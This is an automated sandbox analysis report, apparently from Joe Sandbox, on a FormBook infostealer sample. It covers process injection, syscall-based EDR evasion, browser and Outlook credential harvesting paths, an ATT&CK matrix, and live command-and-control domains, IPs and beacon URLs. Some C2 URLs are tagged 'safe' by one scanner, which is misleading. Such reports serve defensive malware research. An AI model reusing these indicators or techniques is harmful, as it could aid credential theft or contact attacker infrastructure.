                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03140F90 mov eax, dword ptr fs:[00000030h]2_2_03140F90
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005480A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,0_2_005480A9
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0051A155
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051A124 SetUnhandledExceptionFilter,0_2_0051A124

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Found direct / indirect Syscall (likely to bypass EDR)
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtNotifyChangeKey: Direct from: 0x776A3B4CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtWriteVirtualMemory: Direct from: 0x776A2D5CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtMapViewOfSection: Direct from: 0x776A2C3CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtResumeThread: Direct from: 0x776A35CCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtAllocateVirtualMemory: Direct from: 0x776A2B1CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtReadFile: Direct from: 0x776A29FCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtQuerySystemInformation: Direct from: 0x776A2D1CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtSetInformationProcess: Direct from: 0x776A2B7CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtDelayExecution: Direct from: 0x776A2CFCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtOpenKeyEx: Direct from: 0x776A2ABCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtQueryInformationProcess: Direct from: 0x776A2B46Jump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtResumeThread: Direct from: 0x776A2EDCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtCreateUserProcess: Direct from: 0x776A363CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtProtectVirtualMemory: Direct from: 0x776A2EBCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtQueryAttributesFile: Direct from: 0x776A2D8CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtProtectVirtualMemory: Direct from: 0x77697A4EJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtQueryVolumeInformationFile: Direct from: 0x776A2E4CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtDeviceIoControlFile: Direct from: 0x776A2A0CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtQuerySystemInformation: Direct from: 0x776A47ECJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtAllocateVirtualMemory: Direct from: 0x776A2B0CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtOpenSection: Direct from: 0x776A2D2CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtWriteVirtualMemory: Direct from: 0x776A482CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtAllocateVirtualMemory: Direct from: 0x776A480CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtClose: Direct from: 0x776A2A8C
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtCreateKey: Direct from: 0x776A2B8CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtSetInformationThread: Direct from: 0x776A2A6CJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtSetInformationThread: Direct from: 0x77696319Jump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtOpenFile: Direct from: 0x776A2CECJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtAllocateVirtualMemory: Direct from: 0x776A3BBCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtQueryInformationToken: Direct from: 0x776A2BCCJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtReadVirtualMemory: Direct from: 0x776A2DACJump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeNtCreateFile: Direct from: 0x776A2F0CJump to behavior
                Maps a DLL or memory area into another process
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\sc.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exe protection: execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
                Modifies the context of a thread in another process (thread injection)
                Source: C:\Windows\SysWOW64\sc.exeThread register set: target process: 7416Jump to behavior
                Queues an APC in another process (thread injection)
                Source: C:\Windows\SysWOW64\sc.exeThread APC queued: target process: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 4AE008Jump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_005487B1 LogonUserW,0_2_005487B1
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F3B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_004F3B3A
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004F48D7
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00554C53 mouse_event,0_2_00554C53
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\lKvXJ7VVCK.exe"Jump to behavior
                Source: C:\Program Files (x86)\RHzHlWTZuuRgPSvgURzqeTaqddtFmYdjaQLpHVRJOLoZFkYaYwamGwzHilfwOJmiUmyenamMFPXCB\aTYBQVHvJYFlI.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00547CAF GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00547CAF
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0054874B AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_0054874B
                Source: lKvXJ7VVCK.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
                Source: lKvXJ7VVCK.exe, aTYBQVHvJYFlI.exe, 00000003.00000002.60941396327.0000000001020000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000000.60173486000.0000000001021000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000000.60313620028.00000000013B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: aTYBQVHvJYFlI.exe, 00000003.00000002.60941396327.0000000001020000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000000.60173486000.0000000001021000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000000.60313620028.00000000013B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: aTYBQVHvJYFlI.exe, 00000003.00000002.60941396327.0000000001020000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000000.60173486000.0000000001021000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000000.60313620028.00000000013B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: aTYBQVHvJYFlI.exe, 00000003.00000002.60941396327.0000000001020000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000003.00000000.60173486000.0000000001021000.00000002.00000001.00040000.00000000.sdmp, aTYBQVHvJYFlI.exe, 00000005.00000000.60313620028.00000000013B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: *Program ManagerU
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_0051862B cpuid 0_2_0051862B
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00524E87 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00524E87
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00531E06 GetUserNameW,0_2_00531E06
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00523F3A GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00523F3A
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_004F49A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_004F49A0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.60939034602.0000000002CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.60942122166.0000000004350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942320274.0000000003090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60248720122.00000000006A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60250384900.0000000005600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942493865.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60249438261.00000000030B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.60940863079.0000000000CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\sc.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: lKvXJ7VVCK.exeBinary or memory string: WIN_81
                Source: lKvXJ7VVCK.exeBinary or memory string: WIN_XP
                Source: lKvXJ7VVCK.exeBinary or memory string: WIN_XPe
                Source: lKvXJ7VVCK.exeBinary or memory string: WIN_VISTA
                Source: lKvXJ7VVCK.exeBinary or memory string: WIN_7
                Source: lKvXJ7VVCK.exeBinary or memory string: WIN_8
                Source: lKvXJ7VVCK.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.60939034602.0000000002CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.60942122166.0000000004350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942320274.0000000003090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60248720122.00000000006A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60250384900.0000000005600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.60942493865.00000000030E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.60249438261.00000000030B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.60940863079.0000000000CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00566283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00566283
                Source: C:\Users\user\Desktop\lKvXJ7VVCK.exeCode function: 0_2_00566747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00566747

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		1
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		4
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts1
                Service Execution                		2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAt1
                Windows Service                		1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		3
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
                Windows Service                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items412
                Process Injection                		2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1566499 Sample: lKvXJ7VVCK.exe Startdate: 02/12/2024 Architecture: WINDOWS Score: 100 28 www.avalanchefi.xyz 2->28 30 r0lqcud7.nbnnn.xyz 2->30 32 6 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 50 2 other signatures 2->50 10 lKvXJ7VVCK.exe 2 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 28->48 process4 signatures5 62 Binary is likely a compiled AutoIt script file 10->62 64 Writes to foreign memory regions 10->64 66 Maps a DLL or memory area into another process 10->66 68 Switches to a custom stack to bypass stack traces 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 aTYBQVHvJYFlI.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 sc.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 aTYBQVHvJYFlI.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 bloodbalancecaps.shop 108.179.253.197, 49755, 80 UNIFIEDLAYER-AS-1US United States 22->34 36 r0lqcud7.nbnnn.xyz 23.225.159.42, 49764, 49765, 49766 CNSERVERSUS United States 22->36 38 2 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                lKvXJ7VVCK.exe24%ReversingLabsWin32.Trojan.AutoitInject
                lKvXJ7VVCK.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.laohub10.net0%Avira URL Cloudsafe
                http://www.jalan2.online/xu9o/?qfsT1X=Y1SnkQLh9oyCIrW0o0KovqTct3bJFcV1zoY93P6OWbCvdS06v54NadR0bxhIZaxlyI96f1lIInN9xaPSBVcrcahRLWEbyZ5aKm/xCs1reU1cMmc0xqKaSRQ=&54p4W=QZdpHHSp3fe82zt0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz/ctta/0%Avira URL Cloudsafe
                http://www.jalan2.online/xu9o/0%Avira URL Cloudsafe
                http://www.bloodbalancecaps.shop/7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp+v4YM0KnHaxrwPLb6fKcgQCso5jGZqjP6MhGYYTFao+4npn6icqsLwsi7nEjf66U/iJir790dT5tO47jAWoivYoE2MWqBpMBW+o=&54p4W=QZdpHHSp3fe82zt0%Avira URL Cloudsafe
                http://www.laohub10.net/dfeq/0%Avira URL Cloudsafe
                http://bloodbalancecaps.shop/7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp0%Avira URL Cloudsafe
                http://www.avalanchefi.xyz/ctta/?qfsT1X=73htI/07lnbi6jhjvkJXrlKQRaNn0ZyivRRSV4arkt57XDlKC2xJvnG+Jje1nWd5k0Z3PS0VVZTw4ek7NFPoKRrtxl9UhNOptiwMmmbo8BlLeBbb2AsBfiI=&54p4W=QZdpHHSp3fe82zt0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.avalanchefi.xyz
                		13.248.169.48
                		truetrue
                  		unknown
                  r0lqcud7.nbnnn.xyz
                  		23.225.159.42
                  		truetrue
                    		unknown
                    jalan2.online
                    		108.181.189.7
                    		truetrue
                      		unknown
                      bloodbalancecaps.shop
                      		108.179.253.197
                      		truetrue
                        		unknown
                        www.02760.wang
                        		unknown
                        		unknownfalse
                          		unknown
                          www.jalan2.online
                          		unknown
                          		unknownfalse
                            		unknown
                            www.laohub10.net
                            		unknown
                            		unknownfalse
                              		unknown
                              www.bloodbalancecaps.shop
                              		unknown
                              		unknownfalse
                                		unknown

                                Contacted URLs

                                NameMaliciousAntivirus DetectionReputation
                                http://www.jalan2.online/xu9o/?qfsT1X=Y1SnkQLh9oyCIrW0o0KovqTct3bJFcV1zoY93P6OWbCvdS06v54NadR0bxhIZaxlyI96f1lIInN9xaPSBVcrcahRLWEbyZ5aKm/xCs1reU1cMmc0xqKaSRQ=&54p4W=QZdpHHSp3fe82zttrue
                                • Avira URL Cloud: safe
                                		unknown
                                http://www.bloodbalancecaps.shop/7n6c/?qfsT1X=ePeKNPyUeLpNn1ut9QVp+v4YM0KnHaxrwPLb6fKcgQCso5jGZqjP6MhGYYTFao+4npn6icqsLwsi7nEjf66U/iJir790dT5tO47jAWoivYoE2MWqBpMBW+o=&54p4W=QZdpHHSp3fe82zttrue
                                • Avira URL Cloud: safe
                                		unknown
